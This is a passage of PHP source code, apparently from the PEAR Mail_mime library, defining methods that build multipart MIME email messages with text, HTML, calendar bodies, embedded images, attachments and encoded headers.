        'text_charset'  => 'ISO-8859-1',
        // The character set to use for calendar part
        'calendar_charset'  => 'UTF-8',
        // The character set to use for headers
        'head_charset'  => 'ISO-8859-1',
        // End-of-line sequence
        'eol'           => "\r\n",
        // Delay attachment files IO until building the message
        'delay_file_io' => false,
        // Default calendar method
        'calendar_method' => 'request',
        // multipart part preamble (RFC2046 5.1.1)
        'preamble' => '',
    );


    /**
     * Constructor function
     *
     * @param mixed $params Build parameters that change the way the email
     *                      is built. Should be an associative array.
     *                      See $_build_params.
     *
     * @return void
     */
    public function __construct($params = array())
    {
        // Backward-compatible EOL setting
        if (is_string($params)) {
            $this->build_params['eol'] = $params;
        } else if (defined('MAIL_MIME_CRLF') && !isset($params['eol'])) {
            $this->build_params['eol'] = MAIL_MIME_CRLF;
        }

        // Update build parameters
        if (!empty($params) && is_array($params)) {
            $this->build_params = array_merge($this->build_params, $params);
        }
    }

    /**
     * Set build parameter value
     *
     * @param string $name  Parameter name
     * @param string $value Parameter value
     *
     * @return void
     * @since  1.6.0
     */
    public function setParam($name, $value)
    {
        $this->build_params[$name] = $value;
    }

    /**
     * Get build parameter value
     *
     * @param string $name Parameter name
     *
     * @return mixed Parameter value
     * @since  1.6.0
     */
    public function getParam($name)
    {
        return isset($this->build_params[$name]) ? $this->build_params[$name] : null;
    }

    /**
     * Accessor function to set the body text. Body text is used if
     * it's not an html mail being sent or else is used to fill the
     * text/plain part that emails clients who don't support
     * html should show.
     *
     * @param string $data   Either a string or the file name with the contents
     * @param bool   $isfile If true the first param should be treated
     *                       as a file name, else as a string (default)
     * @param bool   $append If true the text or file is appended to
     *                       the existing body, else the old body is
     *                       overwritten
     *
     * @return mixed True on success or PEAR_Error object
     */
    public function setTXTBody($data, $isfile = false, $append = false)
    {
        return $this->setBody('txtbody', $data, $isfile, $append);
    }

    /**
     * Get message text body
     *
     * @return string Text body
     * @since  1.6.0
     */
    public function getTXTBody()
    {
        return $this->txtbody;
    }

    /**
     * Adds a html part to the mail.
     *
     * @param string $data   Either a string or the file name with the contents
     * @param bool   $isfile A flag that determines whether $data is a
     *                       filename, or a string(false, default)
     *
     * @return bool True on success or PEAR_Error object
     */
    public function setHTMLBody($data, $isfile = false)
    {
        return $this->setBody('htmlbody', $data, $isfile);
    }

    /**
     * Get message HTML body
     *
     * @return string HTML body
     * @since  1.6.0
     */
    public function getHTMLBody()
    {
        return $this->htmlbody;
    }

    /**
     * Function to set a body of text/calendar part (not attachment)
     *
     * @param string $data     Either a string or the file name with the contents
     * @param bool   $isfile   If true the first param should be treated
     *                         as a file name, else as a string (default)
     * @param bool   $append   If true the text or file is appended to
     *                         the existing body, else the old body is
     *                         overwritten
     * @param string $method   iCalendar object method
     * @param string $charset  iCalendar character set
     * @param string $encoding Transfer encoding
     *
     * @return mixed True on success or PEAR_Error object
     * @since  1.9.0
     */
    public function setCalendarBody($data, $isfile = false, $append = false,
        $method = 'request', $charset = 'UTF-8', $encoding = 'quoted-printable'
    ) {
        $result = $this->setBody('calbody', $data, $isfile, $append);

        if ($result === true) {
            $this->build_params['calendar_method']  = $method;
            $this->build_params['calendar_charset'] = $charset;
            $this->build_params['calendar_encoding'] = $encoding;
        }
    }

    /**
     * Get body of calendar part
     *
     * @return string Calendar part body
     * @since  1.9.0
     */
    public function getCalendarBody()
    {
        return $this->calbody;
    }

    /**
     * Adds an image to the list of embedded images.
     * Images added this way will be added as related parts of the HTML message.
     *
     * To correctly match the HTML image with the related attachment
     * HTML should refer to it by a filename (specified in $file or $name
     * arguments) or by cid:<content-id> (specified in $content_id arg).
     *
     * @param string $file       The image file name OR image data itself
     * @param string $c_type     The content type
     * @param string $name       The filename of the image. Used to find
     *                           the image in HTML content.
     * @param bool   $isfile     Whether $file is a filename or not.
     *                           Defaults to true
     * @param string $content_id Desired Content-ID of MIME part
     *                           Defaults to generated unique ID
     *
     * @return bool True on success
     */
    public function addHTMLImage($file,
        $c_type = 'application/octet-stream',
        $name = '',
        $isfile = true,
        $content_id = null
    ) {
        $bodyfile = null;

        if ($isfile) {
            // Don't load file into memory
            if ($this->build_params['delay_file_io']) {
                $filedata = null;
                $bodyfile = $file;
            } else {
                if (self::isError($filedata = $this->file2str($file))) {
                    return $filedata;
                }
            }

            $filename = $name ? $name : $file;
        } else {
            $filedata = $file;
            $filename = $name;
        }

        if (!$content_id) {
            $content_id = preg_replace('/[^0-9a-zA-Z]/', '', uniqid(time(), true));
        }

        $this->html_images[] = array(
            'body'      => $filedata,
            'body_file' => $bodyfile,
            'name'      => $filename,
            'c_type'    => $c_type,
            'cid'       => $content_id
        );

        return true;
    }

    /**
     * Adds a file to the list of attachments.
     *
     * @param mixed  $file        The file name or the file contents itself,
     *                            it can be also Mail_mimePart object
     * @param string $c_type      The content type
     * @param string $name        The filename of the attachment
     *                            Only use if $file is the contents
     * @param bool   $isfile      Whether $file is a filename or not. Defaults to true
     * @param string $encoding    The type of encoding to use. Defaults to base64.
     *                            Possible values: 7bit, 8bit, base64 or quoted-printable.
     * @param string $disposition The content-disposition of this file
     *                            Defaults to attachment.
     *                            Possible values: attachment, inline.
     * @param string $charset     The character set of attachment's content.
     * @param string $language    The language of the attachment
     * @param string $location    The RFC 2557.4 location of the attachment
     * @param string $n_encoding  Encoding of the attachment's name in Content-Type
     *                            By default filenames are encoded using RFC2231 method
     *                            Here you can set RFC2047 encoding (quoted-printable
     *                            or base64) instead
     * @param string $f_encoding  Encoding of the attachment's filename
     *                            in Content-Disposition header.
     * @param string $description Content-Description header
     * @param string $h_charset   The character set of the headers e.g. filename
     *                            If not specified, $charset will be used
     * @param array  $add_headers Additional part headers. Array keys can be in form
     *                            of <header_name>:<parameter_name>
     *
     * @return mixed True on success or PEAR_Error object
     */
    public function addAttachment($file,
        $c_type      = 'application/octet-stream',
        $name        = '',
        $isfile      = true,
        $encoding    = 'base64',
        $disposition = 'attachment',
        $charset     = '',
        $language    = '',
        $location    = '',
        $n_encoding  = null,
        $f_encoding  = null,
        $description = '',
        $h_charset   = null,
        $add_headers = array()
    ) {
        if ($file instanceof Mail_mimePart) {
            $this->parts[] = $file;
            return true;
        }

        $bodyfile = null;

        if ($isfile) {
            // Don't load file into memory
            if ($this->build_params['delay_file_io']) {
                $filedata = null;
                $bodyfile = $file;
            } else {
                if (self::isError($filedata = $this->file2str($file))) {
                    return $filedata;
                }
            }
            // Force the name the user supplied, otherwise use $file
            $filename = ($name ? $name : $this->basename($file));
        } else {
            $filedata = $file;
            $filename = $name;
        }

        if (!strlen($filename)) {
            $msg = "The supplied filename for the attachment can't be empty";
            return self::raiseError($msg);
        }

        $this->parts[] = array(
            'body'        => $filedata,
            'body_file'   => $bodyfile,
            'name'        => $filename,
            'c_type'      => $c_type,
            'charset'     => $charset,
            'encoding'    => $encoding,
            'language'    => $language,
            'location'    => $location,
            'disposition' => $disposition,
            'description' => $description,
            'add_headers' => $add_headers,
            'name_encoding'     => $n_encoding,
            'filename_encoding' => $f_encoding,
            'headers_charset'   => $h_charset,
        );

        return true;
    }

    /**
     * Checks if the current message has many parts
     *
     * @return bool True if the message has many parts, False otherwise.
     * @since  1.9.0
     */
    public function isMultipart()
    {
        return count($this->parts) > 0 || count($this->html_images) > 0
            || (strlen($this->htmlbody) > 0 && strlen($this->txtbody) > 0);
    }

    /**
     * Get the contents of the given file name as string
     *
     * @param string $file_name Path of file to process
     *
     * @return string Contents of $file_name
     */
    protected function file2str($file_name)
    {
        // Check state of file and raise an error properly
        if (!is_string($file_name)) {
            return self::raiseError('Invalid or empty file name');
        }
        if (!file_exists($file_name)) {
            return self::raiseError('File not found: ' . $file_name);
        }
        if (!is_file($file_name)) {
            return self::raiseError('Not a regular file: ' . $file_name);
        }
        if (!is_readable($file_name)) {
            return self::raiseError('File is not readable: ' . $file_name);
        }

        // Temporarily reset magic_quotes_runtime and read file contents
        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            $magic_quotes = @ini_set('magic_quotes_runtime', 0);
        }

        $cont = file_get_contents($file_name);

        if (isset($magic_quotes)) {
            @ini_set('magic_quotes_runtime', $magic_quotes);
        }

        return $cont;
    }

    /**
     * Adds a text subpart to the mimePart object and
     * returns it during the build process.
     *
     * @param mixed $obj The object to add the part to, or
     *                   anything else if a new object is to be created.
     *
     * @return Mail_mimePart The text mimePart object
     */
    protected function addTextPart($obj = null)
    {
        return $this->addBodyPart($obj, $this->txtbody, 'text/plain', 'text');
    }

    /**
     * Adds a html subpart to the mimePart object and
     * returns it during the build process.
     *
     * @param mixed $obj The object to add the part to, or
     *                   anything else if a new object is to be created.
     *
     * @return Mail_mimePart The html mimePart object
     */
    protected function addHtmlPart($obj = null)
    {
        return $this->addBodyPart($obj, $this->htmlbody, 'text/html', 'html');
    }

    /**
     * Adds a calendar subpart to the mimePart object and
     * returns it during the build process.
     *
     * @param mixed $obj The object to add the part to, or
     *                   anything else if a new object is to be created.
     *
     * @return Mail_mimePart The text mimePart object
     */
    protected function addCalendarPart($obj = null)
    {
        $ctype = 'text/calendar; method='. $this->build_params['calendar_method'];

        return $this->addBodyPart($obj, $this->calbody, $ctype, 'calendar');
    }

    /**
     * Creates a new mimePart object, using multipart/mixed as
     * the initial content-type and returns it during the
     * build process.
     *
     * @param array $params Additional part parameters
     *
     * @return Mail_mimePart The multipart/mixed mimePart object
     */
    protected function addMixedPart($params = array())
    {
        $params['content_type'] = 'multipart/mixed';
        $params['eol']          = $this->build_params['eol'];

        // Create empty multipart/mixed Mail_mimePart object to return
        return new Mail_mimePart('', $params);
    }

    /**
     * Adds a multipart/alternative part to a mimePart
     * object (or creates one), and returns it during
     * the build process.
     *
     * @param mixed $obj The object to add the part to, or
     *                   anything else if a new object is to be created.
     *
     * @return Mail_mimePart The multipart/mixed mimePart object
     */
    protected function addAlternativePart($obj = null)
    {
        $params['content_type'] = 'multipart/alternative';
        $params['eol']          = $this->build_params['eol'];

        if (is_object($obj)) {
            $ret = $obj->addSubpart('', $params);
        } else {
            $ret = new Mail_mimePart('', $params);
        }

        return $ret;
    }

    /**
     * Adds a multipart/related part to a mimePart
     * object (or creates one), and returns it during
     * the build process.
     *
     * @param mixed $obj The object to add the part to, or
     *                   anything else if a new object is to be created
     *
     * @return Mail_mimePart The multipart/mixed mimePart object
     */
    protected function addRelatedPart($obj = null)
    {
        $params['content_type'] = 'multipart/related';
        $params['eol']          = $this->build_params['eol'];

        if (is_object($obj)) {
            $ret = $obj->addSubpart('', $params);
        } else {
            $ret = new Mail_mimePart('', $params);
        }

        return $ret;
    }

    /**
     * Adds an html image subpart to a mimePart object
     * and returns it during the build process.
     *
     * @param object $obj   The mimePart to add the image to
     * @param array  $value The image information
     *
     * @return Mail_mimePart The image mimePart object
     */
    protected function addHtmlImagePart($obj, $value)
    {
        $params['content_type'] = $value['c_type'];
        $params['encoding']     = 'base64';
        $params['disposition']  = 'inline';
        $params['filename']     = $value['name'];
        $params['cid']          = $value['cid'];
        $params['body_file']    = $value['body_file'];
        $params['eol']          = $this->build_params['eol'];

        if (!empty($value['name_encoding'])) {
            $params['name_encoding'] = $value['name_encoding'];
        }
        if (!empty($value['filename_encoding'])) {
            $params['filename_encoding'] = $value['filename_encoding'];
        }

        return $obj->addSubpart($value['body'], $params);
    }

    /**
     * Adds an attachment subpart to a mimePart object
     * and returns it during the build process.
     *
     * @param object $obj   The mimePart to add the image to
     * @param mixed  $value The attachment information array or Mail_mimePart object
     *
     * @return Mail_mimePart The image mimePart object
     */
    protected function addAttachmentPart($obj, $value)
    {
        if ($value instanceof Mail_mimePart) {
            return $obj->addSubpart($value);
        }

        $params['eol']          = $this->build_params['eol'];
        $params['filename']     = $value['name'];
        $params['encoding']     = $value['encoding'];
        $params['content_type'] = $value['c_type'];
        $params['body_file']    = $value['body_file'];
        $params['disposition']  = isset($value['disposition']) ?
                                  $value['disposition'] : 'attachment';

        // content charset
        if (!empty($value['charset'])) {
            $params['charset'] = $value['charset'];
        }
        // headers charset (filename, description)
        if (!empty($value['headers_charset'])) {
            $params['headers_charset'] = $value['headers_charset'];
        }
        if (!empty($value['language'])) {
            $params['language'] = $value['language'];
        }
        if (!empty($value['location'])) {
            $params['location'] = $value['location'];
        }
        if (!empty($value['name_encoding'])) {
            $params['name_encoding'] = $value['name_encoding'];
        }
        if (!empty($value['filename_encoding'])) {
            $params['filename_encoding'] = $value['filename_encoding'];
        }
        if (!empty($value['description'])) {
            $params['description'] = $value['description'];
        }
        if (is_array($value['add_headers'])) {
            $params['headers'] = $value['add_headers'];
        }

        return $obj->addSubpart($value['body'], $params);
    }

    /**
     * Returns the complete e-mail, ready to send using an alternative
     * mail delivery method. Note that only the mailpart that is made
     * with Mail_Mime is created. This means that,
     * YOU WILL HAVE NO TO: HEADERS UNLESS YOU SET IT YOURSELF
     * using the $headers parameter!
     *
     * @param string $separation The separation between these two parts.
     * @param array  $params     The Build parameters passed to the
     *                           get() function. See get() for more info.
     * @param array  $headers    The extra headers that should be passed
     *                           to the headers() method.
     *                           See that function for more info.
     * @param bool   $overwrite  Overwrite the existing headers with new.
     *
     * @return mixed The complete e-mail or PEAR error object
     */
    public function getMessage($separation = null, $params = null, $headers = null,
        $overwrite = false
    ) {
        if ($separation === null) {
            $separation = $this->build_params['eol'];
        }

        $body = $this->get($params);

        if (self::isError($body)) {
            return $body;
        }

        return $this->txtHeaders($headers, $overwrite) . $separation . $body;
    }

    /**
     * Returns the complete e-mail body, ready to send using an alternative
     * mail delivery method.
     *
     * @param array $params The Build parameters passed to the
     *                      get() method. See get() for more info.
     *
     * @return mixed The e-mail body or PEAR error object
     * @since  1.6.0
     */
    public function getMessageBody($params = null)
    {
        return $this->get($params, null, true);
    }

    /**
     * Writes (appends) the complete e-mail into file.
     *
     * @param string $filename  Output file location
     * @param array  $params    The Build parameters passed to the
     *                          get() method. See get() for more info.
     * @param array  $headers   The extra headers that should be passed
     *                          to the headers() function.
     *                          See that function for more info.
     * @param bool   $overwrite Overwrite the existing headers with new.
     *
     * @return mixed True or PEAR error object
     * @since  1.6.0
     */
    public function saveMessage($filename, $params = null, $headers = null, $overwrite = false)
    {
        // Check state of file and raise an error properly
        if (file_exists($filename) && !is_writable($filename)) {
            return self::raiseError('File is not writable: ' . $filename);
        }

        // Temporarily reset magic_quotes_runtime and read file contents
        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            $magic_quotes = @ini_set('magic_quotes_runtime', 0);
        }

        if (!($fh = fopen($filename, 'ab'))) {
            return self::raiseError('Unable to open file: ' . $filename);
        }

        // Write message headers into file (skipping Content-* headers)
        $head = $this->txtHeaders($headers, $overwrite, true);
        if (fwrite($fh, $head) === false) {
            return self::raiseError('Error writing to file: ' . $filename);
        }

        fclose($fh);

        if (isset($magic_quotes)) {
            @ini_set('magic_quotes_runtime', $magic_quotes);
        }

        // Write the rest of the message into file
        $res = $this->get($params, $filename);

        return $res ? $res : true;
    }

    /**
     * Writes (appends) the complete e-mail body into file or stream.
     *
     * @param mixed $filename Output filename or file pointer where to save
     *                        the message instead of returning it
     * @param array $params   The Build parameters passed to the
     *                        get() method. See get() for more info.
     *
     * @return mixed True or PEAR error object
     * @since  1.6.0
     */
    public function saveMessageBody($filename, $params = null)
    {
        if (!is_resource($filename)) {
            // Check state of file and raise an error properly
            if (!file_exists($filename) || !is_writable($filename)) {
                return self::raiseError('File is not writable: ' . $filename);
            }

            if (!($fh = fopen($filename, 'ab'))) {
                return self::raiseError('Unable to open file: ' . $filename);
            }
        } else {
            $fh = $filename;
        }

        // Temporarily reset magic_quotes_runtime and read file contents
        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            $magic_quotes = @ini_set('magic_quotes_runtime', 0);
        }

        // Write the rest of the message into file
        $res = $this->get($params, $fh, true);

        if (!is_resource($filename)) {
            fclose($fh);
        }

        if (isset($magic_quotes)) {
            @ini_set('magic_quotes_runtime', $magic_quotes);
        }

        return $res ? $res : true;
    }

    /**
     * Builds the multipart message from the list ($this->parts) and
     * returns the mime content.
     *
     * @param array $params    Build parameters that change the way the email
     *                         is built. Should be associative. See $_build_params.
     * @param mixed $filename  Output filename or file pointer where to save
     *                         the message instead of returning it
     * @param bool  $skip_head True if you want to return/save only the message
     *                         without headers
     *
     * @return mixed The MIME message content string, null or PEAR error object
     */
    public function get($params = null, $filename = null, $skip_head = false)
    {
        if (!empty($params) && is_array($params)) {
            $this->build_params = array_merge($this->build_params, $params);
        }

        if (isset($this->headers['From'])) {
            // Bug #11381: Illegal characters in domain ID
            if (preg_match('#(@[0-9a-zA-Z\-\.]+)#', $this->headers['From'], $matches)) {
                $domainID = $matches[1];
            } else {
                $domainID = '@localhost';
            }

            foreach ($this->html_images as $i => $img) {
                $cid = $this->html_images[$i]['cid'];
                if (!preg_match('#'.preg_quote($domainID).'$#', $cid)) {
                    $this->html_images[$i]['cid'] = $cid . $domainID;
                }
            }
        }

        if (count($this->html_images) && strlen($this->htmlbody) > 0) {
            foreach ($this->html_images as $key => $value) {
                $rval  = preg_quote($value['name'], '#');
                $regex = array(
                    '#(\s)((?i)src|background|href(?-i))\s*=\s*(["\']?)' . $rval . '\3#',
                    '#(?i)url(?-i)\(\s*(["\']?)' . $rval . '\1\s*\)#',
                );

                $rep = array(
                    '\1\2=\3cid:' . $value['cid'] .'\3',
                    'url(\1cid:' . $value['cid'] . '\1)',
                );

                $this->htmlbody = preg_replace($regex, $rep, $this->htmlbody);
                $this->html_images[$key]['name']
                    = $this->basename($this->html_images[$key]['name']);
            }
        }

        $this->checkParams();

        $message = $this->buildBodyPart();

        if (!isset($message)) {
            return null;
        }

        // Use saved boundary
        if (!empty($this->build_params['boundary'])) {
            $boundary = $this->build_params['boundary'];
        } else {
            $boundary = null;
        }

        // Write output to file
        if ($filename) {
            // Append mimePart message headers and body into file
            $headers = $message->encodeToFile($filename, $boundary, $skip_head);
            if (self::isError($headers)) {
                return $headers;
            }
            $this->headers = array_merge($this->headers, $headers);
        } else {
            $output = $message->encode($boundary, $skip_head);
            if (self::isError($output)) {
                return $output;
            }
            $this->headers = array_merge($this->headers, $output['headers']);
        }

        // remember the boundary used, in case we'd handle headers() call later
        if (empty($boundary) && !empty($this->headers['Content-Type'])) {
            if (preg_match('/boundary="([^"]+)/', $this->headers['Content-Type'], $m)) {
                $this->build_params['boundary'] = $m[1];
            }
        }

        return $filename ? null : $output['body'];
    }

    /**
     * Builds the main body MIME part for the email body. It will add a mixed part
     * if attachments are found.  If no attachments are found  it will return an
     * alternative part if several body texts are found (text, html, calendar),
     * or a single part if only one body text is found.
     *
     * @return Mail_mimePart|null The corresponding part for the body or null.
     *
     * @see buildAlternativeParts
     * @see buildHtmlParts
     */
    protected function buildBodyPart()
    {
        $parts_count  = count($this->parts);
        $mixed_params = array('preamble' => $this->build_params['preamble']);
        $message      = null;

        if ($parts_count > 0) {
            $message = $this->addMixedPart($mixed_params);
            $this->buildAlternativeParts($message, null);
            for ($i = 0; $i < $parts_count; $i++) {
                $this->addAttachmentPart($message, $this->parts[$i]);
            }
        } else {
            $message = $this->buildAlternativeParts(null, $mixed_params);
        }

        return $message;
    }

    /**
     * Builds a single text, html, or calendar part only if one of them is found.
     * If two or more parts are found, then an alternative part containing them is built.
     *
     * @param Mail_mimePart|null $parent_part  The parent mime part to add
     *                                         the part or null
     * @param array              $mixed_params The needed params to create the
     *                                         part when no parent_part is
     *                                         received.
     *
     * @return null|Mail_mimePart The main part built inside the method. It will be an
     *                            alternative part or text, html, or calendar part.
     *                            Null if no body texts are found.
     */
    protected function buildAlternativeParts($parent_part, $mixed_params = null)
    {
        $html               = strlen($this->htmlbody) > 0;
        $calendar           = strlen($this->calbody) > 0;
        $has_text           = strlen($this->txtbody) > 0;
        $alternatives_count = $html + $calendar + $has_text;

        if ($alternatives_count > 1) {
            $alt_part = $this->addAlternativePart($parent_part ? $parent_part : $mixed_params);
        } else {
            $alt_part = null;
        }

        $dest_part = $alt_part ? $alt_part : $parent_part;
        $part = null;

        if ($has_text) {
            $part = $this->addTextPart($dest_part);
        }

        if ($html) {
            $part = $this->buildHtmlParts($dest_part);
        }

        if ($calendar) {
            $part = $this->addCalendarPart($dest_part);
        }

        return $dest_part ? $dest_part : $part;
    }

    /**
     * Builds html part as a single part or inside a related part with the html
     * images thar were found.
     *
     * @param Mail_mimePart|null $parent_part The object to add the part to,
     *                                        or anything else if a new object
     *                                        is to be created.
     *
     * @return Mail_mimePart|null The created part or null if no htmlbody found.
     */
    protected function buildHtmlParts($parent_part)
    {
        if (!strlen($this->htmlbody)) {
            return null;
        }

        $count_html_images = count($this->html_images);

        if ($count_html_images > 0) {
            $part = $this->addRelatedPart($parent_part);
            $this->addHtmlPart($part);
        } else {
            $part = $this->addHtmlPart($parent_part);
        }

        for ($i = 0; $i < $count_html_images; $i++) {
            $this->addHtmlImagePart($part, $this->html_images[$i]);
        }

        return $part;
    }

    /**
     * Returns an array with the headers needed to prepend to the email
     * (MIME-Version and Content-Type). Format of argument is:
     * $array['header-name'] = 'header-value';
     *
     * @param array $xtra_headers Assoc array with any extra headers (optional)
     *                            (Don't set Content-Type for multipart messages here!)
     * @param bool  $overwrite    Overwrite already existing headers.
     * @param bool  $skip_content Don't return content headers: Content-Type,
     *                            Content-Disposition and Content-Transfer-Encoding
     *
     * @return array Assoc array with the mime headers
     */
    public function headers($xtra_headers = null, $overwrite = false, $skip_content = false)
    {
        // Add mime version header
        $headers['MIME-Version'] = '1.0';

        if (!empty($xtra_headers)) {
            $headers = array_merge($headers, $xtra_headers);
        }

        if ($overwrite) {
            $this->headers = array_merge($this->headers, $headers);
        } else {
            $this->headers = array_merge($headers, $this->headers);
        }

        // Always reset Content-Type/Content-Transfer-Encoding headers
        // In case the message structure changed in meantime
        unset($this->headers['Content-Type']);
        unset($this->headers['Content-Transfer-Encoding']);
        unset($this->headers['Content-Disposition']);

        $this->headers = array_merge($this->headers, $this->contentHeaders());

        $headers = $this->headers;

        if ($skip_content) {
            unset($headers['Content-Type']);
            unset($headers['Content-Transfer-Encoding']);
            unset($headers['Content-Disposition']);
        } else if (!empty($this->build_params['ctype'])) {
            $headers['Content-Type'] = $this->build_params['ctype'];
        }

        return $this->encodeHeaders($headers);
    }

    /**
     * Get the text version of the headers
     * (usefull if you want to use the PHP mail() function)
     *
     * @param array $xtra_headers Assoc array with any extra headers (optional)
     *                            (Don't set Content-Type for multipart messages here!)
     * @param bool  $overwrite    Overwrite the existing headers with new.
     * @param bool  $skip_content Don't return content headers: Content-Type,
     *                            Content-Disposition and Content-Transfer-Encoding
     *
     * @return string Plain text headers
     */
    public function txtHeaders($xtra_headers = null, $overwrite = false, $skip_content = false)
    {
        $headers = $this->headers($xtra_headers, $overwrite, $skip_content);

        // Place Received: headers at the beginning of the message
        // Spam detectors often flag messages with it after the Subject: as spam
        if (isset($headers['Received'])) {
            $received = $headers['Received'];
            unset($headers['Received']);
            $headers = array('Received' => $received) + $headers;
        }

        $ret = '';
        $eol = $this->build_params['eol'];

        foreach ($headers as $key => $val) {
            if (is_array($val)) {
                foreach ($val as $value) {
                    $ret .= "$key: $value" . $eol;
                }
            } else {
                $ret .= "$key: $val" . $eol;
            }
        }

        return $ret;
    }

    /**
     * Sets message Content-Type header.
     * Use it to build messages with various content-types e.g. miltipart/raport
     * not supported by contentHeaders() function.
     *
     * @param string $type   Type name
     * @param array  $params Hash array of header parameters
     *
     * @return void
     * @since  1.7.0
     */
    public function setContentType($type, $params = array())
    {
        $header = $type;

        $eol = !empty($this->build_params['eol']) ? $this->build_params['eol'] : "\r\n";

        // add parameters
        $token_regexp = '#([^\x21\x23-\x27\x2A\x2B\x2D\x2E\x30-\x39\x41-\x5A\x5E-\x7E])#';

        if (is_array($params)) {
            foreach ($params as $name => $value) {
                if ($name == 'boundary') {
                    $this->build_params['boundary'] = $value;
                } else if (!preg_match($token_regexp, $value)) {
                    $header .= ";$eol $name=$value";
                } else {
                    $value = addcslashes($value, '\\"');
                    $header .= ";$eol $name=\"$value\"";
                }
            }
        }

        // add required boundary parameter if not defined
        if (stripos($type, 'multipart/') === 0) {
            if (empty($this->build_params['boundary'])) {
                $this->build_params['boundary'] = '=_' . md5(rand() . microtime());
            }

            $header .= ";$eol boundary=\"".$this->build_params['boundary']."\"";
        }

        $this->build_params['ctype'] = $header;
    }

    /**
     * Sets the Subject header
     *
     * @param string $subject String to set the subject to.
     *
     * @return void
     */
    public function setSubject($subject)
    {
        $this->headers['Subject'] = $subject;
    }

    /**
     * Set an email to the From (the sender) header
     *
     * @param string $email The email address to use
     *
     * @return void
     */
    public function setFrom($email)
    {
        $this->headers['From'] = $email;
    }

    /**
     * Add an email to the To header
     * (multiple calls to this method are allowed)
     *
     * @param string $email The email direction to add
     *
     * @return void
     */
    public function addTo($email)
    {
        if (isset($this->headers['To'])) {
            $this->headers['To'] .= ", $email";
        } else {
            $this->headers['To'] = $email;
        }
    }

    /**
     * Add an email to the Cc (carbon copy) header
     * (multiple calls to this method are allowed)
     *
     * @param string $email The email direction to add
     *
     * @return void
     */
    public function addCc($email)
    {
        if (isset($this->headers['Cc'])) {
            $this->headers['Cc'] .= ", $email";
        } else {
            $this->headers['Cc'] = $email;
        }
    }

    /**
     * Add an email to the Bcc (blank carbon copy) header
     * (multiple calls to this method are allowed)
     *
     * @param string $email The email direction to add
     *
     * @return void
     */
    public function addBcc($email)
    {
        if (isset($this->headers['Bcc'])) {
            $this->headers['Bcc'] .= ", $email";
        } else {
            $this->headers['Bcc'] = $email;
        }
    }

    /**
     * Since the PHP send function requires you to specify
     * recipients (To: header) separately from the other
     * headers, the To: header is not properly encoded.
     * To fix this, you can use this public method to encode
     * your recipients before sending to the send function.
     *
     * @param string $recipients A comma-delimited list of recipients
     *
     * @return string Encoded data
     */
    public function encodeRecipients($recipients)
    {
        $input  = array('To' => $recipients);
        $retval = $this->encodeHeaders($input);

        return $retval['To'] ;
    }

    /**
     * Encodes headers as per RFC2047
     *
     * @param array $input  The header data to encode
     * @param array $params Extra build parameters
     *
     * @return array Encoded data
     */
    protected function encodeHeaders($input, $params = array())
    {
        $build_params = $this->build_params;

        if (!empty($params)) {
            $build_params = array_merge($build_params, $params);
        }

        foreach ($input as $hdr_name => $hdr_value) {
            if (is_array($hdr_value)) {
                foreach ($hdr_value as $idx => $value) {
                    $input[$hdr_name][$idx] = $this->encodeHeader(
                        $hdr_name, $value,
                        $build_params['head_charset'], $build_params['head_encoding']
                    );
                }
            } else if ($hdr_value !== null) {
                $input[$hdr_name] = $this->encodeHeader(
                    $hdr_name, $hdr_value,
                    $build_params['head_charset'], $build_params['head_encoding']
                );
            } else {
                unset($input[$hdr_name]);
            }
        }

        return $input;
    }

    /**
     * Encodes a header as per RFC2047
     *
     * @param string $name     The header name
     * @param string $value    The header data to encode
     * @param string $charset  Character set name
     * @param string $encoding Encoding name (base64 or quoted-printable)
     *
     * @return string Encoded header data (without a name)
     * @since  1.5.3
     */
    public function encodeHeader($name, $value, $charset, $encoding)
    {
        return Mail_mimePart::encodeHeader(
            $name, $value, $charset, $encoding, $this->build_params['eol']
        );
    }

    /**
     * Get file's basename (locale independent)
     *
     * @param string $filename Filename
     *
     * @return string Basename
     */
    protected function basename($filename)
    {
        // basename() is not unicode safe and locale dependent
        if (stristr(PHP_OS, 'win') || stristr(PHP_OS, 'netware')) {
            return preg_replace('/^.*[\\\\\\/]/', '', $filename);
        } else {
            return preg_replace('/^.*[\/]/', '', $filename);
        }
    }

    /**
     * Get Content-Type and Content-Transfer-Encoding headers of the message
     *
     * @return array Headers array
     */
    protected function contentHeaders()
    {
        $attachments      = count($this->parts) > 0;
        $html_images      = count($this->html_images) > 0;
        $html             = strlen($this->htmlbody) > 0;
        $calendar         = strlen($this->calbody) > 0;
        $has_text         = strlen($this->txtbody) > 0;
        $has_alternatives = ($html + $calendar + $has_text) > 1;
        $headers          = array();

        // See get()
        switch (true) {
        case $has_text && !$attachments && !$has_alternatives:
            $headers['Content-Type'] = 'text/plain';
            break;

        case $html && !$html_images && !$attachments && !$has_alternatives:
            $headers['Content-Type'] = 'text/html';
            break;

        case $html && $html_images && !$attachments && !$has_alternatives:
            $headers['Content-Type'] = 'multipart/related';
            break;

        case $calendar && !$attachments && !$has_alternatives:
            $headers['Content-Type'] = 'text/calendar';
            break;

        case $has_alternatives && !$attachments:
            $headers['Content-Type'] = 'multipart/alternative';
            break;

        case $attachments:
            $headers['Content-Type'] = 'multipart/mixed';
            break;
        }

        // Note: This is outside of the above switch construct to workaround
        // opcache bug: https://bugzilla.opensuse.org/show_bug.cgi?id=1166235
        if (empty($headers)) {
            return $headers;
        }

        $this->checkParams();

        $eol = !empty($this->build_params['eol'])
            ? $this->build_params['eol'] : "\r\n";

        if ($headers['Content-Type'] == 'text/plain') {
            // single-part message: add charset and encoding
            if ($this->build_params['text_charset']) {
                $charset = 'charset=' . $this->build_params['text_charset'];
                // place charset parameter in the same line, if possible
                // 26 = strlen("Content-Type: text/plain; ")
                $headers['Content-Type']
                    .= (strlen($charset) + 26 <= 76) ? "; $charset" : ";$eol $charset";
            }

            $headers['Content-Transfer-Encoding']
                = $this->build_params['text_encoding'];
        } else if ($headers['Content-Type'] == 'text/html') {
            // single-part message: add charset and encoding
            if ($this->build_params['html_charset']) {
                $charset = 'charset=' . $this->build_params['html_charset'];
                // place charset parameter in the same line, if possible
                $headers['Content-Type']
                    .= (strlen($charset) + 25 <= 76) ? "; $charset" : ";$eol $charset";
            }
            $headers['Content-Transfer-Encoding']
                = $this->build_params['html_encoding'];
        } else if ($headers['Content-Type'] == 'text/calendar') {
            // single-part message: add charset and encoding
            if ($this->build_params['calendar_charset']) {
                $charset = 'charset=' . $this->build_params['calendar_charset'];
                $headers['Content-Type'] .= "; $charset";
            }

